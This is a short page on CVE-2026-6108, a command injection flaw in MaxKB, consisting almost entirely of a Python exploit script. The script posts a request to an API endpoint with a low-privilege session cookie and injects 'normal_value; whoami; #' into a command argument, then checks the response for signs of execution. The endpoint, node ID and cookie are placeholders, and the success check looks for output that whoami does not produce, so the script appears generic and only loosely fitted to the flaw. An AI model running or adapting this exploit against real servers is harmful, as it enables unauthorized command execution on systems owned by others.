CVE-2026-6108 MaxKB操作系统命令注入漏洞

import requests import json # Target URL for the vulnerable endpoint # The actual endpoint path may vary based on MaxKB deployment target_url = "http://target-ip:port/api/application/mcp_node/execute" # Attacker's session cookie (Low privilege required) cookies = { "session": "low_privilege_session_cookie" } # Payload demonstrating OS command injection (e.g., executing 'whoami') payload = { "node_id": "vulnerable_node_id", "inputs": { # Injecting command separator to execute arbitrary OS command "command_argument": "normal_value; whoami; #" } } try: print("[*] Sending exploit payload to MaxKB...") response = requests.post( target_url, headers={"Content-Type": "application/json"}, cookies=cookies, data=json.dumps(payload), timeout=10 ) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) # Check if command execution artifacts are present in response if "uid=" in response.text or "www-data" in response.text: print("[!] Potential command injection detected in response.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {str(e)}")